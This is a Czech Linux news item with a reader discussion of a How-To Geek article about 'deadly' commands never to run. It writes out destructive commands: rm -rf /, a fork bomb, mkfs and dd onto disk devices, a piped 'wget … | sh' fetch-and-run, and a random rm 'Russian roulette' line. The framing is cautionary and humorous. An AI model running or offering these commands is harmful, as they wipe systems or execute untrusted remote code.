Portál AbcLinuxu, 17. května 2025 01:43
Na How-To Geek vyšel článek 8 smrtelných příkazů, jež byste nikdy neměli spouštět na Linuxu, a to ani v případě, nebo především, pokud jsou doporučeny v linuxové poradně. How-To Geek vybral příkaz rm -rf / a jeho variace aneb muzu nejak stopnou zabehu ftp server?, vidličkovou bombu (fork bomb) ":(){ :|: & };:" aneb testování výkonnosti systému, formátování diskového oddílu "mkfs.ext4 /dev/sda1" aneb jak najít místo na disku, uložení výstupu příkazu do souboru "command > /dev/sda", testování generátoru náhodných čísel "dd if=/dev/random of=/dev/sda", zálohování domovského adresáře "mv ~ /dev/null" a spuštění opravného skriptu "wget http://example.com/something -O – | sh". Přidat lze ruskou ruletu "[ $[ $RANDOM % 6 ] == 0 ] && rm -rf /*" a mnoho dalších.
Tiskni
Sdílej:
Vidím, že pověra, že přesounout do /dev/null znamená smazat, se stále utěšeně šíří. Kdyby se autor článku obtěžoval si to aspoň vyzkoušet, zjistil by, že ten jeho "smrtelný příkaz" ve skutečnosti akorát skončí chybou:
mike@unicorn:~> ls -ld a drwxr-xr-x 3 mike users 4096 24. zář 16.15 a mike@unicorn:~> mv a /dev/null mv: ne-adresář „/dev/null“ nelze přepsat adresářem „a“
Aby to něco opravdu škodlivého provedlo, musel by "mv ~ /dev/null
" spustit s přepínačem -f
a pod rootem a i pak by hlavní problém nespočíval ve ztrátě domácího adresáře, ale spíš v tom, že by začaly selhávat programy, které potřebují /dev/null ke své funkci.
Příkaz rm jsem nepřehlédl, dopsal jsem tam "a jeho variace". Stejně u ruské rulety jsem použil "rm -rf /*". Na druhé straně, pamatuji doby, když příkaz "rm -rf /" fungoval. Dle rm does not preserve root by default ještě nedávno také v Ubuntu.
Přiznám se, že u toho příkazu mv jsem nepřemýšlel, pouze jsem zkopíroval příkaz z článku. Chtěl jsem jenom upozornit na článek. Zprávičku jsem dal do kategorie Humor.
Most of these require root privilege to be effective and if you don’t know what you are doing you should not have/be using that privilege anywayVelmi realistická připomínka, když mluvíme o domácích uživatelích. Hlavně doufám, že se ten pindík pak někde jinde rozohňuje, že se mu MS/Apple/Google/etc pokouší vzít kontrolu nad jeho vlastním počem.
Volba je to těžká.
S "prezentací" svých myšlenek (jejich předvedením, představením) je určitě pro některé jedince život jednodušší. To je odkaz na obrázek. Je to dost možná ten samý program, kde jsem dal promítání. V tom prostředí se to může víc hodit (na způsob zobrazování obrázků v prohlížeči, okno na celou obrazovku, třeba černé pozadí - paralela s potemnělým sálem v kině).
Obojí/všechny tři/čtyři možnosti tam zaráz nedám; i když bych je mohl od verze k verzi točit, aby to i to přišlo víc lidem normální. :)
S představením bych počítal spíš pro program typu KPresenter, ale i tam bych vyzkoušel Promítání. Je to takové líbivé.
Je to takové líbivé.Prosím o odkaz na anketu, ze které byla tato informace zjištěna
Cynismus a brutalita?
Kdysi mi jeden fotbalista řekl, že hraju jak Goauld. A ten malej, co je teď už určitě velkej se snažil mi přezdívat Koní hlava.
Já jen, že obsese některých jedinců řešit vše příkazy, nemusí dopadnout dobře.To máš úplně jedno, omyl se dá udělat v jakýmkoli rozhraní... Úplně stejně se můžeš překliknout nebo použít jinou klávesovou zkratku. Pokud někdo má sklony dělat tyhle chyby nějak častěji, dá se doporučit si pro
rm
nastavit alias s volbou -i
nebo -I
...
..., dá se doporučit si proRed Hat má pre root-a defaultne nastavený aliasrm
nastavit alias s volbou-i
nebo-I
...
rm="rm -i"
. Jediný efekt je, že sa po čase človek naučí namiesto prostého rm
písať rm -f
, čo je cesta do pekla. Ničmenej vedomé a dobrovoľné nastavenie tohto aliasu môže viesť k žiadanému výsledku, to nepopieram. já jen, že obsese některých jedinců řešit vše příkazy, nemusí dopadnout dobře.
já se tomu snažím vyhnout jak můžu, jenže jak v kde, tak v gnome se najdou takový parchantnosti třeba při práci kopírováním, synchronizací, že tam, kde fakt chci aby to dopadlo dobře pracuju v konzoli :( a to máme prosím rok 2012 ....
mě naposledy nadzvedla jedna pí*ovina:
když v krusaderu dám přes sambu kopírovat, tak se mi zkopírujou data vytvoření souboru správně, ale když dám synchronizovat, tak se mi změní na datum vytvoření souboru na datum, kdy tu synchromizaci provádím. přes NFS je to samozřejmě správně - soubor má stejné datum jak ve zdroji, tak v cílovém adresáři ...
... bylo by to zábavné, kdyby mi ty zálohované soubory, u který se datum změnilo třeba na 20.9.2012 nesnažily při další synchronizaci přepsat ty původní soubory z třeba 4.5.2004 a jen tak mimochodem na nich zmrvit to datum taky
pomalost kopírování v gui a konzoli, to je kapitola sama o sobě a kódování v názvech taky :(
aby nedošlo k mýlce - mě neva pracovat v konzoli, ale pracovat v ní z donucení, protože v gui je to sázka do loterie, to mi přijde jako ....
Ale abych nebyl schopen jeden zip zkopírovat v Dolphinu a musel kvůli tomu psát do konzole, to fakt ne.No, někdo to vidí z druhý strany - abych nebyl schopen zkopírovat jeden zip v konzoli, a musel kvůli tomu zapínat Dolphin, to fakt ne
Já mám na jedné ploše non-stop otevřený dolphin s konzolí v panelu :D Nejlepší filemanager.To by bylo supr, kdyby dolphin měnil aktuální cestu (
cd
, pushd
, ...) synchroně s tím shellem...
.bashrc
, a 3) je otázka, jestli by to fungovalo i v ostatních shellech.
A už akceptují novější thinkpady starší klávesnice? Mám pocit, že tam byl nějaký problém s BIOSem - sám mám bohužel také velký delete a často narážím na posunutý insert. Nicméně mohu být rád, že nemám X230.
e2fsck
a mke2fs
, tam to tolik nesvádí k záměně.
dd if=/dev/random of=/dev/sdg bs=4096
obcas pouzivam, kdyz nekomu pujcuju disk... # systemctl stop haveged.service dd if=/dev/random of=/dev/zero count=1M bs=1024 iflag=fullblock ^C0+0 records in 0+0 records out 0 bytes (0 B) copied, 5.24942 s, 0.0 kB/s # systemctl start haveged.service # dd if=/dev/random of=/dev/zero count=1M bs=1024 iflag=fullblock ^C215910+0 records in 215910+0 records out 221091840 bytes (221 MB) copied, 64.761 s, 3.4 MB/s
/dev/urandom
– to používám já, když potřebuji vyhladit data na disku. Ono to i tak trvá šíleně dlouho.
Takový shred(1) nebo badblocks(8) to umí daleko rychleji, než /dev/urandom. Sice je výsledek asi méně náhodný, ale při několikanásobném průběhu stejně nikdo nepozná, co byla původní data a co je pseudonáhodný šum.
watch
Jakkoli souhlasím s tím, že opakované přepisování je v běžných podmínkách nesmysl, věta
V roce 2008 proto vznikla studie, která si vzala za cíl prokázat zbytečnost vícenásobných přepisů u moderních disků.
nevzbuzuje moc důvěru.
rm -rf .*což se mi jednou povedlo udělat. Neuvědomil jsem si, že .* expanduje na .. , čímž to vyleze o úroveň výš a mazání pokračuje až ke kořeni. Možná už je v rm výjimka. Parametry -rf jsem tehdy použil z lenosti, netucha co to může provést
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.